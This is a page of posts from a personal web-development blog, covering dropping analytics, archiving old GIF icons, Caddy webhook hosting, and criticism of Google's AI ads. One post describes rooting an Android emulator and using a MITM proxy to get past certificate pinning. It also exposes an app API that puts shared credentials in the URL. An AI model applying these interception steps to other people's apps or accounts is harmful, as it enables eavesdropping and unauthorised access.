web – Dan Q

How I (Don’t) Collect Blog Statistics

Inspired by Becky‘s post How I Collect Blog Statistics, Respectfully,¹ I thought I’d share what I do.²

tl;dr: I collect virtually nothing and I use even less.

Let me take you on a journey through the different kinds of analytics tools I’ve used:

1996 —1999: Hit counters!

My original websites used a hit counter that I wrote in Perl based on a sample from Matt’s Script Archive. Because I was edgy and dark, I made it look like this:

"Flaming" black-on-black digits 0-9. — I made the flaming digits using a stock effect in *Corel Photo-Paint*; this is an attempt to replicate the “feel” of them.

Hit counters are pretty dumb for a variety of reasons. Counting “hits” was never a terribly-representative reflection of the popularity of your pages. But also: because they’re a public representation of your popularity, there was every incentive to “game” them… even just by hitting refresh a couple of times. Making them untrustworthy and pointless.

1998 — 2006: Webalizer

Screenshot from The Webalizer, showing a bar chart of web stats covering September 2005. — Who can forget *The Webalizer*? Those *Microsoft Excel ’97*-grade barcharts!

Back in the day, “proper” web stats was something you did on your log files. Take log files, pump them through a program, get amalgamated output. And the king of these tools was The Webalizer.³

On a few of my websites – and some that I helped host for my friends – I’d have The Webalizer run daily, collating an archive of monthly stats plus “month-so-far” for the current month.

The Webalizer attempted to differentiate “hits” from “visitors”. And it tried to distinguish between browsers, and isolated bots, and tracked pulled referrer-data, and could even try to geolocate IP addresses. It was pretty magical for its time.

2006 — 2016 Google Analytics

I was an early adopter of Google Analytics: my site ID (“UA code”) was only five digits long!

Screenshot from an early version of Google Analytics, featuring a line graph covering visitors between April and May 2009, showing a 1,064.1% higher visitor counter than 'sites of a similar size' on one date. — Those graphs were *slick* for the Web technology of the day. A product of that period in the mid-naughties when Google made products that actually *impressed* users and didn’t just make them roll their eyes?

Google Analytics works via a JavaScript snippet which collects a variety of information about the visitor and sends it to Google’s mothership.

A third-party cookie that connected all Google Analytics-powered sites, plus everybody’s activity on other Google products, provided a wealth of data that you couldn’t get any other way. Want a gender breakdown of your visitors or their interests? Google can “help” you with that… and all the while, “helping” themselves to copies of all the data too.

If your website runs Google Analytics, it’s part of Google’s massive data-harvesting machine, monitoring people as they move around the Web. Webmasters trading away their visitors’ identities for some pretty charts seems pretty disgusting to me; it saddens me that I was ever “part of the problem”.

2015 — 2023 Piwik

Since around 2010, I’d been actively blocking Google Analytics, which made me feel a bit like a hypocrite to be inflicting it upon others. I looked for an alternative and found it in Piwik (now Matomo), an open-source and self-hosted analytics tool.

I ran Google Analytics and Piwik side-by-side to validate the latter, and found it to be excellent. Not only was it collecting data in a much more-ethical and respectful way, but it was also producing more-accurate results for my readership who, leaning somewhat “techie”, would sometimes block Google Analytics outright for all of the same reasons I did.

It was pretty good, but…

2023 — … (Almost) nothing?

…I don’t like the kind of blogger I am when I’m collecting stats!

It’s like… being a teenager again and having that hit counter, and getting excited when it goes up. So what if a number went up? What does “popularity” mean? Isn’t the impact more important than the number of eyeballs?⁴

So in 2023, after winding my analytics down by instalments for many years, I just… stopped.⁵ I realised that so long as I was able to easily “watch the stats”, I’d be temped to write for the stats. To treat it as a score. To make the hit counter go up.⁶

That, in essence, is why I don’t really “do” any webstats any more. Analytics don’t serve me and the blogger I want to be, and they didn’t represent anything that I would consider a useful metric of success.

If somebody’s moved by what I do, that’s great: but a hit counter going up by one doesn’t tell me that; and it never did. Now if they leave a comment or drop me an email or even send me a postcard, that’s how I know that I made a difference!

Exception to the rule: GoAccess!

While I don’t actively watch the stats any more, I suppose I can still generate them, from my webserver logs, Webalizer-style. Except nowadays I’d probably use GoAccess:

GoAccess dashboard for the last week, showing 1.9M requests by 350K visitors, pulling 160GB of data, with a big of a jump in traffic on 14 July. — There’s a bit of a “hump” where last week’s blog post about apps started trending on Bubbles, HackerNews, Lobste.rs and the like. But I knew that already because *people sent me lots of comments!*

There’s a script that I’m able to run, if I feel like it, to parse the most-recent of my Caddy logfiles. It takes about one minute to run per day of logs to process, and outputs a perfectly attractive self-contained HTML file.

Here’s that script:

#!/bin/bash
readonly LOG_DIR="/var/log/www/danq.me/"
readonly DAYS=7
readonly OUTPUT_HTML="/var/log/goaccess/danq.me.html"

sudo bash -c "{ find '$LOG_DIR' -maxdepth 1 -name 'access*.gz' -mtime -$DAYS -print0 | sort -z | xargs -0 zcat; cat '$LOG_DIR/access.log'; } | goaccess --log-format CADDY --output '$OUTPUT_HTML' -"

It’s not clever. It’s not sophisticated. It doesn’t use cookies or JavaScript or, indeed, anything other than what my webserver gives me for free.

I barely use it: maybe once every 18 months or so (today was the first time in well over a year). It’s there if I need it. And it’s inconvenient-enough to use that I’m not tempted to.

Footnotes

¹ And perhaps also inspired to a lesser extent by Terence Eden‘s Reasonably accurate, privacy conscious, cookieless, visitor tracking for WordPress, which I’ve been thinking about on-and-off ever since I read it last year.

² By “blog stats”, here, I mean statistics about visitors to my blog, not stats about my blogging (which I track and share in excruciating detail).

³ Did you know that the last point release of The Webalizer was in 2013 and the last feature release was in 2010: much later than I thought was the case!

⁴ Also, how do we even count “eyeballs”. Right now, about a fifth to a quarter of my visitors are bots. Amazonbot alone accounts for over 2% of my traffic. (I should probably tighten my robots.txt.)

⁵ Nowadays, there’s no tracking scripts whatsoever on my site. I don’t set a cookie unless you ask me to (and then it’s “transparent”: you can see exactly what it contains and what it’s for), I don’t try to fingerprint you in any way, I don’t even keep server logs longer than 60 days! Back when I used Jetpack I actively nerfed its stats-collection “features”. I don’t want your personal data!

⁶ Last week, I wrote a blog post about breaking into somebody’s “app” to make a web page that does the same things, but better. It attracted lots of comments, emails, and other feedback, so I can see it had impact. I have no idea how many eyeballs (or bots) saw it. That’s not the important bit.

Today I Rescued 7,234 Old GIFs

This week, GlitchyZorua brought to my attention the Ibiblio Icon Browser, a collection of many thousands of GIF icons curated in the 1990s by Gioacchino La Vecchia. Glitchy’s goal was to archive a copy of all of the icons, which was turning out to be… challenging.

A more-90s website you’re unlikely to see today.

It looks pretty simple: (a) an index page, leading to (b) 24 sub-index pages, leading to (c) 57 icon directory pages, representing (d) 114 icon collections, containing anywhere up to (e) 7,296 icons, mostly but not always 32×32 pixels. Right?

But the challenge comes when you try to go from a directory page to an icon file. It looks like you’re clicking a link, but really you’re clicking… an imagemap.

I’ve talked about imagemaps before, but the essence of them is that you define areas of an image that, when clicked, hyperlink to different places. The most-common way of doing these was always client-side imagemaps, where the HTML code itself contained all of the coordinates and, crucially, the resulting destinations. But that’s not what kind of imagemap this is.

This one’s a server-side imagemap. The HTML code looks like this… and there are no URLs for the resulting library of GIF files anywhere to be seen:

<a href="/iconbin/imagemap/icon3">
  <img src="destic3/icons.gif" ismap>
</a>

That ismap attribute is what tells your browser to send the coordinates that you clicked-at.

Directory indexing is disabled, so we can’t just knock the image filename off the end of the URL and inspect. So how are we to get these images, short of manually, painstakingly, clicking on each one of them? That’s what GlitchyZorua was wondering when I turned up with some bright ideas…

(We’re clearly not the only people who struggled: archive.org hadn’t managed to collect a full set of the icons either.)

Fortunately, we can work out a little something about the gallery images. Exploration of the site shows that they’re always laid out in a grid of up to 8×8, with each (including its size information) occupying a space of 72×89 pixels:

Gallery of 64 images with a particular row and column highlighted to show the boundaries of what's believed to be a particular 'hit target' within it. — A little experimentation shows that clicking anywhere within the intersection area results in a redirect to the same image.

The webserver seems to be running Apache, so it’s probably using something like mod_imagemaps to manage its server-side imagemaps. We can imagine that somewhere on the server there’s probably a file that looks a bit like this, mapping rectangular coordinate pairs to redirect URLs:

# icon3 images:
base destic3/
#    filename  |  top left  |  bottom right
# -------------+------------+----------------
rect 49ers.gif         0,0            72,89
rect 49ers1.gif       73,0           145,89
rect 4dos.2.gif      146,0           217,89
rect 4dos.gif        218,0           289,89
# ... and so on for all 64 images in this collection!

I sincerely hope that La Vecchia had some automated process that he used to produce the thousands of lines of configuration that he needed, and he didn’t write his files by hand!

We don’t have access to those configuration files, but we can infer what hit areas they might have. If each hit area is 72×89 pixels, we can hit the centre of the top-left one at 36×44 and then just keep adding on 72 and 89 pixels to permute the centrepoints of all the hit areas.

In pseudocode, what we’d need to do is:

For each library from 1 to 113,
- For each X coordinate from the set {36, 108, 180, 252, 324, 396, 468, 540}
  - For each Y coordinate from the set {44, 133, 222, 311, 400, 489, 578, 667}
    1. Generate a URL of the form:
      https://www.ibiblio.org/iconbin/imagemap/icon{library}?{x},{y}
    2. Make a HTTP HEAD request to that URL
    3. If you get a HTTP 302 (redirect) response code, record the resulting Location:

That gets us the URL of every one of the thousands of GIFs on the service. Next, we can use wget to download each of them. Sorted!

But we can do one better: once we’ve got all the icons, we can present them in a new website. One without server-side image maps, and with a working search. So that’s what I did. I hacked together a very basic static site generator using Ruby and ERB templates, that produces a gallery with pagination (mirroring the page numbers from the original), plus client-side search. And of course the whole repository can be cloned if you just want a copy of the icons for yourself:

I think my modernised version of this icon library is, while basic, a huge improvement upon the original… (thanks in large part to the advancement of Web technologies in the intervening years!).

Anyway: if you’d like to browse the library in its new form, it’s at ibiblio-icon-archive.danq.dev. It… looks its age, but at least now it’s accessible to the world and able to be archived for posterity.

Your ‘App’ Could Have Been a Webpage (so I fixed it for you…)

Why is this an “app”?

This summer, the kids’ performing arts school are singing and dancing in a show at Disneyland. We’re all very excited, but my excitement, at least, was muted a little when I was told to install the “Travelbound” app in order to get access to the itinerary, travel arrangements, and accommodation details.

Fuck that noise. This should have been a webpage. Why do you want me to install a(nother) shitty app just to tell me something that could have been a (smaller, faster, more universally-accessible) document?

There only seem to be two things that this “app” does, that a webpage might not have, and they’re both anti-features:

It reports tracking data associated with your Google Account back to the developers.
It shows you advertisements (which they call “inspirations”) for other trips organised by the same agency.

Fuck. Everything. About. That.

A webpage would have been so much better. Unlike this app, a webpage can be…¹

Copy-pastable
Printable
Saveable
Bookmarkable
Searchable
Usable on virtually any device
(Potentially) more-accessible

I’m annoyed enough… that I’m going to “fix” this app. Hold my beer.

Intercepting app traffic

It’s been a while since the last time I reverse-engineered an Android app from its network traffic, so I had to brush-up on the best way. Here’s what I ended up doing.

Created a new virtual device in Android Studio’s Virtual Device Manager.
Tested adb shell was working and used rootAVD to root it: ./rootAVD.sh system-images/android-33/google_apis_playstore/x86_64/ramdisk.img.²
Performed a cold boot, ran Magisk, and tweaked its settings to automatically grant su access to any app that asked.³

Ran HTTP Toolkit and told it to intercept AVD traffic. It installed a (fake) VPN provider, routing the phone’s traffic through the proxy.⁴
Installed the Travelbound app from the Play Store.
Configured HTTP Toolkit to proxy only the Travelbound app (more signal, less noise).

With only a couple of minutes experimentation I discovered that the app works by concatenating the username and password⁵ and using it in a URL of the form:

https://travelbound.api.vamoos.com/api/itineraries/{username}-{password}

This returns a pile of JSON which, with a little interpretation, can be seen to represent all of the content the app “shows”. E.g., there’s:

an array containing each leg of the itinerary,
an array containing all of the ~~“inspirations”~~ advertisements to show you,
a cross-referenced array containing all of the files (images etc.) that are referenced by the other sections, etc.

A little experimentation showed me that the S3 image URLs were being delivered with moderately-short expiration times, so the JSON needs re-fetching periodically even if the content hasn’t been changed.⁶

Turning it into something better

Now I had everything I needed to make something… better. I wrote a Ruby script that runs on a Cron schedule to pull the latest JSON and use it to build a HTML page.

I chose to have it completely skip over the “inspirations” (“overlayRows” in the data schema) and just list:

the items from the itinerary and
all of the files not referenced by the inspirations nor itinerary, (a lazy way to collate the PDF download links).

Then I hosted the page, protected by a password: the same one my tour group were given in the first place. I included the raw JSON it used in <details> elements so it can be checked if e.g. there are bits of the schema I didn’t see but that might appear later.

Some people like an “app”, and that’s… fine, I guess. But some apps could have been a webpage. And especially where, like this one, the content they deliver is already written in HTML and delivered over HTTP… they should be a webpage, right?

I can’t understand how we got to this place with “app culture”! Software companies are happy to make their lives harder (and more expensive: deploying to the big app stores isn’t free!), in order to deliver HTML content to fewer people and with fewer features⁷ than if they just published directly to the Web in the first place!

There are (some) tasks for which an “app” is absolutely the right choice of medium. Travelbound is not one of them.

But at least I (and the rest of our group, whom I’ve shared it with) now get the choice about how we access this content. Either a 43MB app (ballooning to 124MB when it’s finished downloading extra content) with tracking and advertisements… or a 0.05MB web page (with an optional extra 35MB of images) that provides more features and works on more devices. I know which one I’ll be using!

Footnotes

¹ And these are just the features that everybody can get behind. The webpage I ultimately ended up making to replace the app also has some user-friendly/developer-hostile features, like the fact that it removes the tracking code and doesn’t show advertisements.

² You need to root the device in order to force applications that use Certificate Pinning to trust your man-in-the-middle proxy server. Without this, some applications – including the one I wanted to reverse-engineer – will recognise your self-signed TLS certificate as invalid and refuse to communicate.

³ Without changing this setting in Magisk, I found that HTTP Toolkit would request su access but not wait for the response, and go on to run in unprivileged mode before I had a chance to grant it!

⁴ Owing to Android security considerations I needed to manually install the root CA certificate it installed for me, but the instructions “just worked”.

⁵ The username and password is shared by an entire tour group. I’m guessing they don’t have a plan for if some credentials get leaked? Or possibly they consider all of the data they hold to be low-sensitivity enough that it doesn’t matter if it does… in which case I return to my original point: why the hell wasn’t it just a webpage in the first place?

⁶ Or else the images need caching locally, which seems to be what the app does, in the bloatiest possible way.

⁷ And, often, with worse accessibility. I’ve not audited the accessibility of this app, but there are things about it that suggest that it’d be harder to use using accessibility technologies than my plain, simple Web version.

You don’t have to blog like me

You don’t have to blog like me.

You don’t have to differentiate by post kind.
You don’t have to put full contents in your feed.
You don’t have to keep a library of “maybe-some-day”
drafts so long that you’ll never reach the bottom.

You don’t have to have a comments form.
Or reactions. Or webmentions.
Or a guestbook. Or drawings?
(But give me some way to say “hi, you’re cool!”)

You don’t have to have a feature image.
You don’t have to keep posts up forever.
You don’t have to have tags.
You don’t have to syndicate to the socials.

You don’t have to stick to one topic.
Or three. Or seventeen.
Or be able to answer “what’s your blog about?”
It’s yours, and that’s enough.

You don’t have to post on a schedule.
You don’t have to use your real name.
You don’t have to have a podcast.
You don’t have to tell everybody.

You don’t have to use any particular tool.
Bloggers who spend their time arguing
About vs vs ʕ•ᴥ•ʔ vs
Could be reading and writing instead.

You don’t have to have a plan to “monetize”.
You don’t have to write your own theme.
You don’t have to be run your own server.
You don’t have to make every post your best.

You just have to blog.

The Internet is ours.
It belongs to the humans.

Not to the companies and the robots.
To us.

And every human voice.
Every single human voice.
Makes the world a little richer.

You don’t have to blog like me.
(You don’t have to use “blog” as a verb.)

You just have to blog.

And if you mention your blog in the comments, below, I promise I’ll go read it.

What Was Matt Thinking?

This is a repost promoting content originally published elsewhere. See more things Dan's reposted.

Around 1995 or so, a high schooler named Matt Wright decided to launch a website that shared some basic website tools that he programmed. Many of these were dead-simple, things like contact forms, guestbooks, and web counters.

…

Ernie Smith (Tedium), in What Was Matt Thinking?

OMG I remember Matt’s Script Archive. I taught myself Perl with (among other things) his scripts.

I took his Counter/ImageCounter script and adapted it into my own FireCounter, which stitched together (non-animated) GIFs of digits (which I made using a filter in Corel Photo-Paint, I think) into the kinds of edgy hit counter I was into, back in the day.

Later, I even added parameter handling to allow the webmaster to specify a different set of digit images, and referrer detection so that it could track different sites: each got its own text file with its count in it! For a while, a dozen or so of my friends had my counter visible on their Geocities and Angelfire pages!

I’m sure that my script had many, if not more, of the kinds of security vulnerabilities discussed in the linked article. But man, it felt like magic at the time!

Setting the width of selects to the width of the selected option

This is a repost promoting content originally published elsewhere. See more things Dan's reposted.

The field-sizing property is coming to Firefox 152, making it available across all major engines. It allows you to control the sizing behavior of elements with a default preferred size, such as form elements.

…

Manuel, in Setting the width of selects to the width of the selected option

Sometimes a new CSS feature comes along and I immediately “get it”. Like: that’s a cool new feature, I can already see how it’ll save me time, or make things simpler, or improve accessibility, or allow me to do something new.

Other times, like this one, I initially shrug. What’s the point?, I think…

…and then later in the very same day find occasion to wish it was already mainstream. Hah!

Thanks for sharing, Manuel.

Ad Infinitum

This is a repost promoting content originally published elsewhere. See more things Dan's reposted.

…

For 25 years, Google Search was built on a contract. The web provided the content – billions of pages, freely linked, freely crawled. In return, Google sent people back. The link was the unit of exchange. It’s what made the Web thrive as an information system: you publish, Google indexes, users click through, and value flows back to the source. Win-win.

That contract is now broken. Generative UI doesn’t link to your article, necessarily. It absorbs your article, synthesizes it into a widget, and presents it as Google’s own answer. Information agents don’t send users to websites. They deliver “synthesized updates” with maybe a link or two buried at the bottom. The web was the scaffolding Google needed to build its index, to train its models, to accumulate the world’s information, and put ads next to it to get filthy rich. Now that the content is inside the system, the scaffolding is no longer needed. Google is creating its own context.

Google thinks it no longer needs the Web to deliver answers. And it no longer needs ad slots to deliver ads. What it needs is you. Your emails, your files, your calendar, your purchase history, your travel plans – all flowing into Spark, all building the richest possible picture of who you are and what you’re likely to click on. That’s exactly the kind of personal context those auction models need to work. The prediction module in the prominence allocation framework doesn’t run on keywords. It runs on knowing you.

…

Matthias Ott, in Ad Infinitum

An excellent piece by Matthias Ott, discussing revelations from this year’s Google I/O. In particular, the imminent pivot of Google Search from its lifelong “query in, list of links out” model to a wholesale “query in, LLM output out” one.

This isn’t just about putting AI output at the top of the search results, as I gather they do today, but about getting rid of search “results” entirely, and running everything through the model.

To which Matthias wisely asks: well, how will ads work then? Google’s business model is based on mining your personal data and shoving ads in your face. Where do they go in a search interface that it’s really a search but a “helpful” AI.

It turns out there’s a few approaches that Google seem to be considering, but what they’ve all got in common is the idea that marketers will be able to “influence” the LLM’s token generation, perhaps by using an LLM of their own to decide whether you (based on everything Google knows about you) are worth marketing to, and how much they’ll pay to do so, and then this input being “weighted” against competing advertisers and actual ingested data in order to feature advertiser-influenced content woven directly into the output of the LLM.

Superficially, this sounds a little like product placement, like you sometimes see in American-made TV shows and movies. You know, where one character says, of “I’m going to go get a drink refill. You know you can get unlimited refills on any drink you want… and it’s free?”, and the next says “It’s a wonderful restaurant.”, while they’re sitting in Burger King.

Except this isn’t about saying “hey, people who watch this show are probably high and want a snack, let’s push our fast food their way”. It’s individualised.

It’s more like if the characters, knowing that your GMail account had a recent email about some test results, and your Google Calendar had an appointment tomorrow at the doctor, started talking about a particular brand of medication to, y’know, put the idea into your head.

We’re not at the point of completely-customised TV shows – nor the injection of commercials into dreams – yet. But Google’s plans, which blur the already-grey boundaries between organic and advertising content, are pretty insidious.

Assuming you’re in their ecosystem already, and possibly even if you’re not… Google may already be looking at your search terms, your calendar, your emails, your location and schedule, who you communicate with and how often, which web pages you visit, which apps you use, where you spend money, etc. (Seriously: if you somehow haven’t begun de-googling already, what are you waiting for?)… there’s a huge potential for misuse there.

But the arms race between people blocking or learning-to-ignore ads and advertisers trying to foist them upon us continues, and Google thinks this is an acceptable next step in escalating that. Using an insane amount of energy to recycle other people’s work without crediting them, in order to mash up the result with information they know about you in order to deliver you an unverifiable soup of words which might answer your question but with no clue how much or little commercial interest went into producing it, or by whom.

That’s some proper Darkest Timeline shit, right there.

You don’t need to take my nor Matthias’s word on it (although you should read his full post because it’s excellent): just look at the concept videos in Google’s blog post on the subject. You’ll also notice that almost-nowhere in their demos do Google even hint at the possibility of linking-out to anybody else’s website: there’s like one “visit site” button that appears at the very end of one of the flows, after the agent has done its things. Google is building a walled garden where they hope you’ll live, served by their AI butler on behalf of the companies who pay Google to tell you about their products.

Ugh.

Remembering the 90s Web

This morning I had a lovely meeting with Andreas Marakis, who’s researching the sociological impact of the Web of the 1990s on people who experienced it first-hand.

I’m seeing more and more interest in this period – even, surprisingly, among people too young to be nostalgic about it – as the countercultural “web renaissance” tiptoes out of the shadows and encourages newcomers to take their first steps in building their own Web identity with HTML, CSS, and (maybe) JavaScript.

Anyway: chatting to Andreas was great and it reminded me of quite how grateful I am to have gotten to experience a lot of these seminal technologies when they were at their newest and most-experimental.

So Unbelievable it Sounds Like you Googled It

“To Google”

When it first appeared, Google Search was a breath of fresh air. Simple, powerful search that Just Worked. It’s little wonder that the phase “to Google” something became synonymous with “to search for” something.

Somewhere, Google lost its way.¹ Perhaps the latest example of that is the injection of AI into every search²:

I’ve been to the cinema a few times lately so I’ve seen the Google AI ad that inspired me to make this parody… a lot.
Music by Dead Tubes Foundation (click to unmute/mute).

Apparently the kids these days don’t “Google it”. At least, not in their colloquialisms: they’re still probably using the search engine.

They say that they’ll “search it up”.

And this presents us with an opportunity:

Let’s reclaim the phrase “to Google”

I was inspired by a blog post by Mr Scribs (itself inspired by a Fediverse conversation), discovered via Bubbles:

We should turn the verb use of googling into an insult.

Example: “That’s so unbelievable it sounds like you googled it.”

Mr Scribs, in a good domain

I love this, and I’m absolutely going to start using it. “To Google” can absolutely transform from meaning “to search for, using a Web search engine” to meaning:

to seek knowledge in a lazy and convenient way, without regard for its accuracy
(“I Googled from a guy at the pub that 5G caused Covid”)
to acquire information that can’t accurately be sourced or verified
(“don’t quote me on that, though: I Googled it”)
to prefer an answer to a question that’s mildly more-convenient for the asker, even if getting it was ethically problematic
(“pass me the jump leads, I’m going to Google one of the hostages”)

DeGoogling is so… 2010s. Let’s make the 2020s the decade where we redefine Google as a verb, in a way that better represents what it means to continue to buy in to the ever-increasingly toxic Google Search ecosystem.

Footnotes

¹ Maybe it was then the Search-Chrome-Analytics trifecta that positioned the company as both the assistant to, and the adversary of, the users. Maybe it was when they dropped “don’t be evil”. Maybe it was when they stopped listening to users, or when they stopped listening to their own developers. Maybe it was when they helped sterilise the Web. Maybe it was AMP and they way they abused their monopoly to force it down everybody’s throats. Maybe it was when they killed (insert your favourite service here). Maybe it was when they started enshittifying Android. Make your own mind up.

² Yes, I’m aware that some other search engines include AI summaries in results, too. But they all seem easier to turn off… and I’m yet to see a cinema advertisement about the fact that they do it for anything other that Google Search.

CSS or BS

This is a repost promoting content originally published elsewhere. See more things Dan's reposted.

Keith Cirkel, in CSS or BS

Well this is a fun (and frustrating!) game. You’ll be presented with 20 (alleged) CSS properties, but some of them… are convincing-looking fakes! You’ve got 10 seconds to identify whether each is real or not. Every few you get right increases the difficulty level, but also the score potential. How high can you score?

Me? Oh, I kept getting up into the “forbidden” level and then my brain would melt and I’d crash out. Quite proud of my last run, though:

Dynamically-Deployed Static Site Subdomains on Caddy

I’ve recently been experimenting with where I host my small and open-source static sites. In my latest experiment, I wanted to try a low-maintenance selfhosting solution¹. Here’s what I wanted:

Pushing to the main branch of my GitHub/Codeberg/wherever repo would send a webook to my server.
Upon receiving the webhook, my server would pull the latest changes².
Using a wildcard certificate, my webserver automatically mounts each project at a subdomain matching its project name³.

Here’s what I came up with:

Step 1: webhook handler

I’m using Caddy as my webserver, because despite its considerable power and versatility it’s a breeze to set up. To sort wildcard DNS later I’ll want to swap in a custom build, but to get started I just ran apt install caddy. Then I used apt install webhook to install Adnan Hajdarević’s webhook endpoint, and tied the two together in my Caddyfile:

webhook.duckling.danq.me {
  reverse_proxy localhost:9000
}

My static server’s called duckling.danq.me, so you’ll see that turn up a lot in these configs.

Then I created a webhook in a GitHub repository:

GitHub webhook pointing to https://webhook.duckling.danq.me/hooks/github-push, with a secret set and SSL verification enabled, triggered by a push event. — I generated a long random string to use as the secret, and kept a copy for later.

When you create a webhook in GitHub it immediately sends a test event, but it doesn’t quite look like a real push event so I pushed an inconsequential change to the repo to trigger another. Once you’ve got a “real” one sent, you can re-send it via the “Recent Deliveries” tab as many times as you like, to help with testing.

Then, on the server, I checked-out a copy of the code (anonymously: this is a public repository so I don’t need keys to read from it anyway) and set up my /etc/webhook.conf to expect these calls:

[
    {
      "id": "github-push",
      "execute-command": "/var/www/github-push/webhook.sh",
      "command-working-directory": "/var/www/github-push/",
      "pass-arguments-to-command": [
        {
          "source": "payload",
          "name": "repository.name"
        }
      ],
      "trigger-rule": {
        "and": [
          {
            "match": {
              "type": "payload-hash-sha256",
              "secret": "[MY SECRET KEY HERE]",
              "parameter": {
                "source": "header",
                "name": "X-Hub-Signature-256"
              }
            }
          },
          {
            "match": {
              "type": "value",
              "value": "refs/heads/main",
              "parameter": {
                "source": "payload",
                "name": "ref"
              }
            }
          }
        ]
      }
    }
  ]

The trigger-rule directives ensure that (a) the secret key is correct (it uses a HMAC hash across the entire JSON request, so it prevents payload tampering too) and (b) the event only triggers on pushes to the main branch. The execute-command specifies the Bash script I want to run when the webhook is triggered. The pass-arguments-to-command configuration says to send the repo name on to that script.

Now all I needed to do was write the /var/www/github-push/webhook.sh Bash script so that it pulled the latest copy of the code when triggered:

#!/bin/bash
cd /var/www/github-push/$1 && git pull

I was able to test this by pushing inconsequential changes to my codebase and watching them get replicated down to my webserver. Neat!

Step 2: low-maintenance webserver

After pointing the DNS for *.static.duckling.danq.me at my static server, I set about configuring Caddy to be able to use DNS-01 challenges to get itself wildcard SSL certificates⁴. Caddy can’t do DNS-01 challenges out of the box, so you either need to write your own renewal script or compile Caddy with plugins corresponding to your DNS provider. My domains’ DNS are managed by a mixture of AWS Route 53, Gandi, and Namecheap, so my xcaddy build step looked like this:

xcaddy build \
  --with github.com/caddy-dns/route53 \
  --with github.com/caddy-dns/gandi \
  --with github.com/caddy-dns/namecheap

Of course, if I’d have preferred somebody else build it for me, CaddyServer’s download configurator would have done it for me on-demand.

For Gandi and Namecheap I just need a personal access token or API key, respectively, but Route 53’s configuration is slightly more-involved: I needed to create a new user via IAM and give it permission to write DNS TXT records for the appropriate hosted zone. Fortunately the guide for the caddy-dns/route53 repo had an almost copy-pastable example.

I added the AWS access key and secret key as environment variables (like this!) into my /etc/systemd/system/multi-user.target.wants/caddy.service service definition, and then told my Caddyfile to make use of them when renewing the wildcard certificate:

*.static.duckling.danq.me {
    tls {
        dns route53 {
          access_key_id {env.AWS_ACCESS_KEY_ID}
          secret_access_key {env.AWS_SECRET_ACCESS_KEY}
        }
      }
      root * /var/www/github-push/{http.request.host.labels.4}
      file_server
    }
}

The {http.request.host.labels.4} refers to the fourth part of the domain name, when separated at the dots and counted from the right, so 0 = me,

1 =
                danq

, 2 = duckling, 3 = static, and 4 = the part that we’re interested in. So long as I don’t store any other directories in the /var/www/github-push/ directory then this will simply map each subdomain onto its git repository name and return a 404 for any other request.

DNS-01 challenges are necessarily slower than HTTP-01/ALPN challenges, because they’re limited by DNS propogation, so it took a while before the certificate was issued. I ran Caddy in the foreground to watch the logs while it did so:

You can see the whole thing working (for now at least; I don’t know if I’m keeping this approach!) by going to e.g. embed-html.static.duckling.danq.me, which dynamically tracks the main branch of the embed-html repo on GitHub.

I don’t yet know if this is going to be the future forever-home of my many static site side projects, but it’s certainly been the most-satisfying experiment to run so-far.

Footnotes

¹ I’ve drifted away from selfhosting simple static sites lately because I’ve accidentally broken them with configuration changes too many times! But I figured I’d be open to in-housing them again if I had a single simple architecture for them all, so I spun up a VPS and gave it a go

² Running a build script or some other static site generation tool is out of scope for now, but I want to be able to confirm that it would be possible in the future.

³ It also needs to be possible for me to map other domain names to it, but that’s a triviality.

⁴ It’s absolutely possible to use tls { on_demand } to do this, but it’s better to use a wildcard certificate which can be pre-generated and doesn’t let people trick your server into making ludicrous numbers of certificate requests by hammering random subdomain names.

Moving a static site from GitHub to Codeberg Pages

Late to the party,¹ I finally got around to experimentally moving a GitHub Pages-hosted static site to Codeberg. I wanted a low-risk site to try first, so I moved Beige Buttons, the site hosting my “90s PC turbo button simulator” web component.

Ê

Mostly for my own benefit later, here’s the steps I took and the things I learned along the way:

You can migrate a repository across in about two clicks. Easy!
Codeberg Pages is deployed from the pages branch. If there’s no build step to the static site, all you need to do is rename the main branch to pages (and probably make it the default branch).²
The default URL is https://username.codeberg.page/repository.
You can use a custom domain by adding a .domains file that lists domains; if migrating from GitHub Pages you can just rename your CNAME file to .domains.
You’ll need to tweak your DNS CNAME, ALIAS (or, worst-case, A/AAAA) record to point at Codeberg Pages.³

Change propogation feels slightly slower than GitHub, but perfectly tolerable.

The one thing that’s causing me trouble is that Codeberg Pages’ CORS headers prevent people from hotlinking the Beige Buttons JS, so there are some projects for which this wouldn’t be a suitable migration (issues are raised). But for most static sites, it’d probably Just Work and seems to be a great alternative.

Footnotes

¹ With thanks to Kev for reminding me I’d had this on my list.

² There are other ways to deploy but they don’t support custom domains yet.

³ Like GitHub Pages, Codeberg Pages uses LetsEncrypt for certificate provision, so you don’t need to change any CAA records.

Predictions in a Hat

Two decades ago this month my friend Matt posted five predictions about the future of the world. I’ve revisited these predictions twice since: ten years later and twenty years later, and “scored” his predictions both times.

I love that the Web’s memory (and the persistence of URLs) makes this kind of long-term conversation possible.

A Random List of Silly Things I Hate

So apparently now this is a thing, so here I go:

Websites that are just blank pages if the JavaScript doesn’t load from the CDN.¹
The misunderstanding that LLMs can somehow be a route to AGI.
Computer systems that say my name is too short or my password is too long.²
People being unwilling to discuss their wild claims later using the lack of discussion as evidence of widespread acceptance.
When people balance the new toilet roll one atop the old one’s tube.³

A nearly-full roll of toilet paper perched atop an empty toilet roll tube on an open-ended spindle. — Come on! It would have been *so easy*!

Shellfish. Why would you eat that!?
People assuming my interest in computers and technology means I want to talk to them about cryptocurrencies.⁴
Websites that nag you to install their shitty app. (I know you have an app. I’m choosing to use your website. Stop with the banners!)
People who seem to only be able to drive at one speed.⁵
The assumption that the fact I’m “sharing” my partner is some kind of compromise on my part; a concession; something that I’d “wish away” if I could. (It’s very much not.)
Brexit.

Wow, that was strangely cathartic.

Footnotes

¹ I have a special pet hate for websites that require JavaScript to render their images. Like… we’d had the <img> tag since 1993! Why are you throwing it away and replacing it with something objectively slower, more-brittle, and less-accessible?

² Or, worse yet, claiming that my long, random password is insecure because it contains my surname. I get that composition-based password rules, while terrible (even when they’re correctly implemented, which they’re often not), are a moderately useful model for people to whom you’d otherwise struggle to explain password complexity. I get that a password composed entirely of personal information about the owner is a bad idea too. But there’s a correct way to do this, and it’s not “ban passwords with forbidden words in them”. Here’s what you should do: first, strip any forbidden words from the password: you might need to make multiple passes. Second, validate the resulting password against your composition rules. If it fails, then yes: the password isn’t good enough. If it passes, then it doesn’t matter that forbidden words were in it: a properly-stored and used password is never made less-secure by the addition of extra information into it!

³ This is the worst of the toilet paper crimes, but there’s a lesser but more-common offence.

⁴ Also: I’m uninterested in whatever multiplayer shooter game you’re playing, and no I won’t fix your printer.

